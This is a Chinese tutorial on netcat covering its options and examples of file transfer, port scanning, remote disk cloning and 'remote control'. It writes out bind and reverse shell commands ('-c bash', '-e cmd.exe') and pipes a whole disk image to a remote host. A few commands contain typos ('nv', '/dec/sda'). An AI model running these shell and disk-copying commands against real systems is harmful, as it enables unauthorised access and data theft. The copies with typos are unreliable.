简介

在网络工具中有“瑞士军刀”美誉的NetCat,小身材、大智慧
功能:

  • telnet/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

参数

参数 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-b 允许广播
-d 后台执行
-e fielname 连接后执行文件名程序[危险!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,… (source-routing pointer: 4,8,12,…)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时

示例

获取banner信息

1
nc 1.1.1.1 80

传输文本信息

1
2
nc -l -p 333  #开启端口
nc -nv 1.1.1.1 333 #连接端口

传输文件

1
2
3
4
5
nc -lp 333 > file #打开端口等待文件输入
nc -nv 1.1.1.1 333 < file -q 1 #上传文件并在1秒后结束

nc -lp 333 < file #打开端口等待文件下载
nv -nv 1.1.1.1 333 > file #下载内容并保存至文件

传输目录

1
2
tar -cvf - dir/ | nc -lp 3389  #打包目录,并打开端口监听
nc -nv 1.1.1.1 3389 | tar -xvf - #接收文件,并解包

加密传文件

1
2
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

流媒体服务器

1
2
cat 1.mp4 | nc -lp 333 #浏览文件并打开监听服务
nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 #连接并播放

端口扫描

1
2
nc -nvz 1.1.1.1 20-80 #tcp扫描
nc -nvzu 1.1.1.1 1-200 #扫描udp

远程克隆硬盘

1
2
nc -lp 3389 | dd of=/dec/sda
dd if=/dec/sda | nc -nv 1.1.1.1 3389 -q 1

远程电子取证,可以将目标服务器硬盘远程复制,或者内存

远程控制

1
2
3
4
5
6
7
8
9
#正向连接
nc -lp 3389 -c bash #被控制
nc 1.1.1.1 3389

#反向连接
nc -lp 3389
nc 1.1.1.1 3389 -c bash #被控制

#注:Windows用户把bash改成cmd

不同系统/平台的nc参数功能不尽相同

注意